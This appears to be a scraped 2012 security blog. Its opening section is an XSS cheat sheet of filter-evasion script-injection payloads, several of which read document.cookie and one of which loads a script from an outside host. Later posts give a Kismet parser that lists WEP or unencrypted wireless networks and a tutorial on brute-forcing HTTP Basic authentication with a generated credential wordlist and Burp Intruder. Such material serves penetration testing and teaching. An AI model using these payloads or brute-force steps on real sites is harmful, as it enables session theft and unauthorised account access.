+ADw-script+AD4-alert(document.location)+ADw-/script+AD4-
%2BADw-script+AD4-alert(document.location)%2BADw-/script%2BAD4-
+ACIAPgA8-script+AD4-alert(document.location)+ADw-/script+AD4APAAi-
%2BACIAPgA8-script%2BAD4-alert%28document.location%29%2BADw-%2Fscript%2BAD4APAAi-
%253cscript%253ealert(document.cookie)%253c/script%253e
“><s”%2b”cript>alert(document.cookie)</script>
“><ScRiPt>alert(document.cookie)</script>
“><<script>alert(document.cookie);//<</script>
foo<script>alert(document.cookie)</script>
<scr<script>ipt>alert(document.cookie)</scr</script>ipt>
%22/%3E%3CBODY%20onload=’document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)’%3E
‘; alert(document.cookie); var foo=’
foo\’; alert(document.cookie);//’;
</script><script >alert(document.cookie)</script>
<img src=asdf onerror=alert(document.cookie)>
<BODY ONLOAD=alert(’XSS’)>
<script>alert(1)</script>
"><script>alert(String.fromCharCode(66, 108, 65, 99, 75, 73, 99, 101))</script>
<video src=1 onerror=alert(1)>
<audio src=1 onerror=alert(1)>

Sources

Some of the payloads on this list I created or modified, however a large majority of them are from one of the following sources which I would like to give full credit to.

http://www.breakthesecurity.com/2012/02/complete-cross-site-scriptingxss-cheat.html
http://www.anautonomouszone.com/blog/xss-cheat-sheet
http://www.ha.ckers.org/xss.html
http://www.xenuser.org/xss-cheat-sheet/
http://www.iexploit.org/showthread.php?tid=262
http://www.thisislegal.com/tutorials/19
http://code.google.com/p/html5security/
http://www.thespanner.co.uk/2009/03/20/html5-xss/
http://www.html5sec.org/

Friday, February 24, 2012

Kismet .CSV Log Report Generator

Kismet is an 802.11 layer2 wireless network detector, sniffer, and intrusion detection system. Kismet will not work with all wireless cards, more information can be found here.

Depending on the area you are running kismet, you may find zero networks or hundreds. As more people set up networks, especially in their business areas, it is absolutely necessary to ensure strong encryption is used. It is always a good idea to go warwalking in your area to see which networks are running in your environment.

Kismet outputs 6 log files in the following formats: .xml, .csv, .dump, .network, .weak, and .cisco. Most of the output files are hard to interpret and give a lot of unneeded information for a basic warwalk. I wrote a python script to parse through the .csv log file and generate an .html report. The script ignores all networks with strong encryption or networks with no ssid. The report includes all networks that have WEP or no encryption, with identifying information about each one. This report is only for seeing which found networks are vulnerable.

Feel free to give this python script a try. The only thing needed is a .csv Kismet log file. Changes to the code can be easily made to change what information is included in the report.

Must be logged in to Google Docs: Kismet-Report-Generator.py
#!/usr/bin/python

import csv
import os, string, sys
from optparse import OptionParser


usage = "Usage: %s -i [inputfile] -o [outputfile]" % os.path.basename(sys.argv[0])
parser = OptionParser(usage=usage)
parser.add_option("-i", "--inputfile", dest="inputfile", help="Source file you want to parse. Should be a .csv file. Ex: kismet-output.csv")
parser.add_option("-o", "--outputfile", dest="outputfile", help="Name of the output file you want to create.  Should be a .html file. Ex: csv-parse-output.html")

(options, args) = parser.parse_args()

if ((not (options.inputfile)) or (not os.path.isfile(options.inputfile))) or not (options.outputfile):
    parser.print_help()
    sys.exit()

outfile = open(options.outputfile, "w+")


"""   HTML OUTPUT FILE CODE STARTS HERE BETWEEN THE  TAGS   """

print >>outfile, """
<html>
<head>
<title>Kismet Report</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-15" />
<script type="text/javascript">

***END OF CODE SNIPPET - Download file for full code***

After running Kismet and receiving the output files, let's take a look at the .csv log file which contains all of the information found. In total there are 38 attributes that Kismet records when finding a single network.



Now let's run the Kismet Report Generator python script. This works cross platform and will print a nice report as long as the structure of the .csv file doesn't drastically change. If so, it is an easy fix inside the code by using the optparse module. The script takes in two arguments, the first is the .csv Kismet log input file, and the second is the .html output file. An example to run the script would be: Kismet-Report-Generator.py -i kismet-log.csv -o kismet-report.html

After running our script we get a nice .html report that is easily readable. The Kismet information is printed into a template which can be changed within the python script. Columns can be sorted by clicking each one if Javascript is enabled.


Feel free to comment, question or criticize. Input is always welcome, thanks!

Friday, February 3, 2012

Attacking Basic Authentication with Burp Intruder

Burp is a platform for testing the security of web applications. Among other things, Burp has the capabilities of an intercepting proxy, vulnerability scanner, and attack tool. Burp's attack tool is called Intruder.

Update: Burp now has the ability to base64 encode two payload lists in a username:password combination by using the custom iterator. More information can be found on this blog.

Because Burp is not a dedicated password cracking tool, some work does need to be done before attacking basic authentication. You may be asking, why use Burp at all? Why not use THC-Hydra or John the Ripper? These are both great options, but Burp Intruder has great functionality with multiple options, an expansive user interface, and also allows you to view each request and response. By seeing each response you are able to quickly figure out if there is any enumeration possible and also separate which credentials actually worked.

One of the most effective ways to attack basic authentication is by using a dictionary wordlist of common usernames and passwords. If you have a small set of usernames or even just one, this attack is much quicker than if you have to guess both the username and password.

As of Burp v1.4, there is no way to directly run a dictionary attack with two wordlists and base64 encode the entire username:password string. Burp does not have the ability to combine a word from two separate wordlists and base64 encode the result. The most you can do is encode each string separately and combine them, however because of how base64 encoding works this does not produce an accurately encoded string. There are few ways around this shortcoming however:

  1. Precompile a username:password wordlist offline. this can either be base64 encoded or not. Burp has the ability to encode a single payload so you can just add a processing rule to the string before Burp sends the request.

  2. Write an extension using Burp Extender to Base64 encode the Auth header. In this scenario you just need to have Burp create the username:password combinations and the extension will do the encoding. I may do a specific post about this later.

In this post I will be focusing on #1, precompiling a username:password list offline and putting that into Burp Intruder. I created a python script to take a separate username and password wordlist and combine them into the username:password format for Basic Auth. There are also other useful options for creating wordlists.

Must be logged in to Google Docs: Credentials-Creator.py
"""
Menu Options:
(1)Create user:pass list from ONE wordlist file- This creates every user:pass combination possible with all words
(2)Create user:pass list from TWO files - Each pass per each user (large output file)
(3)Create user:pass list from TWO files - Matches words on the same line from each file
(4)Quit

    The first menu option takes one wordlist file with n words as input.  It will then create all possible combinations with the given words.  In total n^2
    username:password combinations are created.  This is best used with smaller wordlists that contain words that are used for both usernames and passwords.
    The output file will be good to test for any weak accounts behind basic authentication.
    
    The second menu option takes a username worldist with m words and a password wordlist with n words as input.  It will then create m*n username:password
    combinations.  This option is great if you have one or more valid usernames (through enumeration or other methods) or if you have separate wordlists for
    usernames and passwords.  Depending on the wordlists used, this may create a very large text file.

    The third menu option creates "mirrored" username:password combinations by combining the words from each respective file line.  This could be used when you
    have a list of usernames and passwords that may or may not be correct.
"""

import os.path, sys, base64

#Show menu options to user.  Checks for bad input.
userChoice = 0
while userChoice < 1 or userChoice > 4:
    userChoice = raw_input("\n  (1)Create user:pass list from ONE wordlist.\n  (2)Create user:pass list from TWO wordlist files - Each pass per each user (large).\n  (3)Create user:pass list from TWO wordlist files - Matches words on the same line from each file.\n  (4)Quit\n\nSelection: ")
    if userChoice.isdigit() == False:
        userChoice = 0
    else:
        userChoice = int(userChoice)

if userChoice == 1:
    #Get input file name from user and check if it exists.
    while True:
        inFileName = raw_input("\nInput File: ")
        if os.path.isfile(inFileName):
            break
        else:
            print 'File not found. Try again.'
    infile = open(inFileName)
    
    #Get output file name from user. Create output file if it doesn't exist.
    outFileName = raw_input("Output File: ")
    outFile = open(outFileName, "w")

    #Calculate number of combinations and estimate total size of the output file using 20bytes per line.
    lines = infile.readlines()
    linesLength = len(lines)
    combinations = linesLength * linesLength
    kilobyteTotal = (20 * combinations) / float(1024)
    megabyteTotal = (20 * combinations) / float(1048576)

    #Show output information.  User may want to limit running time, file size gives a basis to do this.
    print '\nNumber of created combinations: ' + str(combinations)
    print 'Output file size: ~' + str(float(kilobyteTotal)) + ' kilobytes or ~' + str(float(megabyteTotal)) + ' megabytes.\n'

***END OF CODE SNIPPET - Please download file for full code***

So now that we have a username:password wordlist it's time to fire up Burp and put it to use. After making sure that intercept is on, go to the site where the Basic Auth is located.



Fill in anything you want and press 'Ok'. You will now see the GET request with 'Authorization: Basic *Base64 Encoded String*'



Right click anywhere in the request and select 'send to intruder'. At this point you can either drop or forward the request since we already got what we wanted.



Go to intruder and under the positions tab put two payload markers around the Base64 encoded string.



Now go to the payloads tab and load our preset wordlist we created earlier. We still need to Base64 encode the username:password string, so add a payload processing rule to do this.



Almost done! Along the top go to 'intruder' to start the attack. Burp Intruder gives us a nice interface for each attack. We can now view each request and response which includes payload, status, and length. This makes it extremely easy for us to see which payloads work and which don't. We can also look at the status and length to see which pages differ and why.





These methods for attacking authentication can be slightly modified and used to attack other types of authentication.